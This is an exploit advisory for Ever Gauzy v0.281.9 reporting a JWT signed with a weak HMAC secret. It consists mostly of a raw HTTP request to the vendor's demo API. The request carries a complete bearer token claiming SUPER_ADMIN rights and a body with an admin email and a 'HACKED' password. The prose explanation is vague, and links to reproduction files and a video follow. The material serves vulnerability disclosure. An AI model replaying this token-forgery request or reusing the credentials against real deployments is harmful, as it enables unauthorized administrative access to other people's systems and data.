## Exploit Title: ever gauzy v0.281.9 - JWT weak HMAC secret
## Author: nu11secur1ty
## Date: 04.08.2023
## Vendor: https://gauzy.co/
## Software: https://github.com/ever-co/ever-gauzy/releases/tag/v0.281.9
## Reference: https://portswigger.net/kb/issues/00200903_jwt-weak-hmac-secret
## Description:
It was, detected a JWT signed using a well-known `HMAC secret key`.
The key used which was found was a secret Key.
The user can find a secret key authentication while sending normal
post requests.
After he found the `Authorization: Bearer` key he can use it to authenticate
and he can be sending a very malicious POST request, it depends on the
scenario.
STATUS:
[+]Issue: JWT weak HMAC secret
[+]Severity: High
[+]Exploit:
```GET
GET /api/auth/authenticated HTTP/2
Host: apidemo.gauzy.co
Sec-Ch-Ua: "Not:A-Brand";v="99", "Chromium";v="112"
Accept: application/json, text/plain, */*
Language: en
Sec-Ch-Ua-Mobile: ?0
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjJjMWViM2ViLTI3ZDEtNGE2Ni05YjEzLTg4ODVhNmFhYWJlMiIsInRlbmFudElkIjoiMTA0YjhiMDQtNmYzNi00YWMzLWFjNWItNTg4MWQyNjJmMWUxIiwiZW1wbG95ZWVJZCI6bnVsbCwicm9sZSI6IlNVUEVSX0FETUlOIiwicGVybWlzc2lvbnMiOlsiQURNSU5fREFTSEJPQVJEX1ZJRVciLCJURUFNX0RBU0hCT0FSRCIsIlBST0pFQ1RfTUFOQUdFTUVOVF9EQVNIQk9BUkQiLCJUSU1FX1RSQUNLSU5HX0RBU0hCT0FSRCIsIkFDQ09VTlRJTkdfREFTSEJPQVJEIiwiSFVNQU5fUkVTT1VSQ0VfREFTSEJPQVJEIiwiT1JHX1BBWU1FTlRfVklFVyIsIk9SR19QQVlNRU5UX0FERF9FRElUIiwiT1JHX0lOQ09NRVNfVklFVyIsIk9SR19JTkNPTUVTX0VESVQiLCJPUkdfRVhQRU5TRVNfVklFVyIsIk9SR19FWFBFTlNFU19FRElUIiwiUFJPRklMRV9FRElUIiwiRU1QTE9ZRUVfRVhQRU5TRVNfVklFVyIsIkVNUExPWUVFX0VYUEVOU0VTX0VESVQiLCJPUkdfUFJPUE9TQUxTX1ZJRVciLCJPUkdfUFJPUE9TQUxTX0VESVQiLCJPUkdfUFJPUE9TQUxfVEVNUExBVEVTX1ZJRVciLCJPUkdfUFJPUE9TQUxfVEVNUExBVEVTX0VESVQiLCJPUkdfVEFTS19BREQiLCJPUkdfVEFTS19WSUVXIiwiT1JHX1RBU0tfRURJVCIsIk9SR19UQVNLX0RFTEVURSIsIk9SR19USU1FX09GRl9WSUVXIiwiT1JHX0VNUExPWUVFU19WSUVXIiwiT1JHX0VNUExPWUVFU19FRElUIiwiT1JHX0NBTkRJREFURVNfVklFVyIsIk9SR19DQU5ESURBVEVTX0VESVQiLCJPUkdfQ0FORElEQVRFU19JTlRFUlZJRVdfRURJVCIsIk9SR19DQU5ESURBVEVTX0lOVEVSVklFV19WSUVXIiwiT1JHX0NBTkRJREFURVNfRE9DVU1FTlRTX1ZJRVciLCJPUkdfQ0FORElEQVRFU19UQVNLX0VESVQiLCJPUkdfQ0FORElEQVRFU19GRUVEQkFDS19FRElUIiwiT1JHX0lOVkVOVE9SWV9QUk9EVUNUX0VESVQiLCJPUkdfSU5WRU5UT1JZX1ZJRVciLCJPUkdfVEFHU19BREQiLCJPUkdfVEFHU19WSUVXIiwiT1JHX1RBR1NfRURJVCIsIk9SR19UQUdTX0RFTEVURSIsIk9SR19VU0VSU19WSUVXIiwiT1JHX1VTRVJTX0VESVQiLCJPUkdfSU5WSVRFX1ZJRVciLCJPUkdfSU5WSVRFX0VESVQiLCJBTExfT1JHX1ZJRVciLCJBTExfT1JHX0VESVQiLCJQT0xJQ1lfVklFVyIsIlBPTElDWV9FRElUIiwiVElNRV9PRkZfRURJVCIsIlJFUVVFU1RfQVBQUk9WQUxfVklFVyIsIlJFUVVFU1RfQVBQUk9WQUxfRURJVCIsIkFQUFJPVkFMU19QT0xJQ1lfVklFVyIsIkFQUFJPVkFMU19QT0xJQ1lfRURJVCIsIkNIQU5HRV9TRUxFQ1RFRF9FTVBMT1lFRSIsIkNIQU5HRV9TRUxFQ1RFRF9DQU5ESURBVEUiLCJDSEFOR0VfU0VMRUNURURfT1JHQU5JWkFUSU9OIiwiQ0hBTkdFX1JPTEVTX1BFUk1JU1NJT05TIiwiQUNDRVNTX1BSSVZBVEVfUFJPSkVDVFMiLCJUSU1FU0hFRVRfRURJVF9USU1FIiwiU1VQRVJfQURNSU5fRURJVCIsIlBVQkxJQ19QQUdFX0VESVQiLCJJTlZPSUNFU19WSUVXIiwiSU5WT0lDRVNfRURJVCIsIkVTVElNQVRFU19WSUVXIiwiRVNUSU1BVEVTX0VESVQiLCJPUkdfQ0FORElEQVRFU19JTlRFUlZJRVdFUlNfRURJVCIsIk9SR19DQU5ESURBVEVTX0lOVEVSVklFV0VSU19WSUVXIiwiVklFV19BTExfRU1BSUxTIiwiVklFV19BTExfRU1BSUxfVEVNUExBVEVTIiwiT1JHX0hFTFBfQ0VOVEVSX0VESVQiLCJWSUVXX1NBTEVTX1BJUEVMSU5FUyIsIkVESVRfU0FMRVNfUElQRUxJTkVTIiwiQ0FOX0FQUFJPVkVfVElNRVNIRUVUIiwiT1JHX1NQUklOVF9WSUVXIiwiT1JHX1NQUklOVF9FRElUIiwiT1JHX0NPTlRBQ1RfRURJVCIsIk9SR19DT05UQUNUX1ZJRVciLCJPUkdfUFJPSkVDVF9BREQiLCJPUkdfUFJPSkVDVF9WSUVXIiwiT1JHX1BST0pFQ1RfRURJVCIsIk9SR19QUk9KRUNUX0RFTEVURSIsIk9SR19URUFNX0FERCIsIk9SR19URUFNX1ZJRVciLCJPUkdfVEVBTV9FRElUIiwiT1JHX1RFQU1fREVMRVRFIiwiT1JHX1RFQU1fSk9JTl9SRVFVRVNUX1ZJRVciLCJPUkdfVEVBTV9KT0lOX1JFUVVFU1RfRURJVCIsIk9SR19DT05UUkFDVF9FRElUIiwiRVZFTlRfVFlQRVNfVklFVyIsIlRJTUVfVFJBQ0tFUiIsIlRFTkFOVF9BRERfRVhJU1RJTkdfVVNFUiIsIklOVEVHUkFUSU9OX1ZJRVciLCJGSUxFX1NUT1JBR0VfVklFVyIsIlBBWU1FTlRfR0FURVdBWV9WSUVXIiwiU01TX0dBVEVXQVlfVklFVyIsIkNVU1RPTV9TTVRQX1ZJRVciLCJJTVBPUlRfRVhQT1JUX1ZJRVciLCJNSUdSQVRFX0dBVVpZX0NMT1VEIiwiT1JHX0pPQl9FTVBMT1lFRV9WSUVXIiwiT1JHX0pPQl9NQVRDSElOR19WSUVXIiwiSU5WRU5UT1JZX0dBTExFUllfQUREIiwiSU5WRU5UT1JZX0dBTExFUllfVklFVyIsIklOVkVOVE9SWV9HQUxMRVJZX0VESVQiLCJJTlZFTlRPUllfR0FMTEVSWV9ERUxFVEUiLCJNRURJQV9HQUxMRVJZX0FERCIsIk1FRElBX0dBTExFUllfVklFVyIsIk1FRElBX0dBTExFUllfRURJVCIsIk1FRElBX0dBTExFUllfREVMRVRFIiwiT1JHX0VRVUlQTUVOVF9WSUVXIiwiT1JHX0VRVUlQTUVOVF9FRElUIiwiT1JHX0VRVUlQTUVOVF9TSEFSSU5HX1ZJRVciLCJPUkdfRVFVSVBNRU5UX1NIQVJJTkdfRURJVCIsIkVRVUlQTUVOVF9NQUtFX1JFUVVFU1QiLCJFUVVJUE1FTlRfQVBQUk9WRV9SRVFVRVNUIiwiT1JHX1BST0RVQ1RfVFlQRVNfVklFVyIsIk9SR19QUk9EVUNUX1RZUEVTX0VESVQiLCJPUkdfUFJPRFVDVF9DQVRFR09SSUVTX1ZJRVciLCJPUkdfUFJPRFVDVF9DQVRFR09SSUVTX0VESVQiLCJWSUVXX0FMTF9BQ0NPVU5USU5HX1RFTVBMQVRFUyIsIlRFTkFOVF9TRVRUSU5HIiwiQUxMT1dfREVMRVRFX1RJTUUiLCJBTExPV19NT0RJRllfVElNRSIsIkFMTE9XX01BTlVBTF9USU1FIiwiREVMRVRFX1NDUkVFTlNIT1RTIl0sImlhdCI6MTY4MDk4MDAzMn0.3zm2CQ0udVj5VCBYgPPD8BzkhQ_5TgVVi91sN7eMKlw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50
Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://demo.gauzy.co
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://demo.gauzy.co/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 76
{
"email":"local.admin@ever.co",
"password": "adminrrrrrrrrrrrrrrrrrrrrrHACKED"
}
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/gauzy.co/2023/ever-gauzy-v0.281.9)
## Proof and Exploit:
[href](https://streamable.com/afsmee)
## Time spend:
03:37:00
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at
https://packetstormsecurity.com/https://cve.mitre.org/index.html and
https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>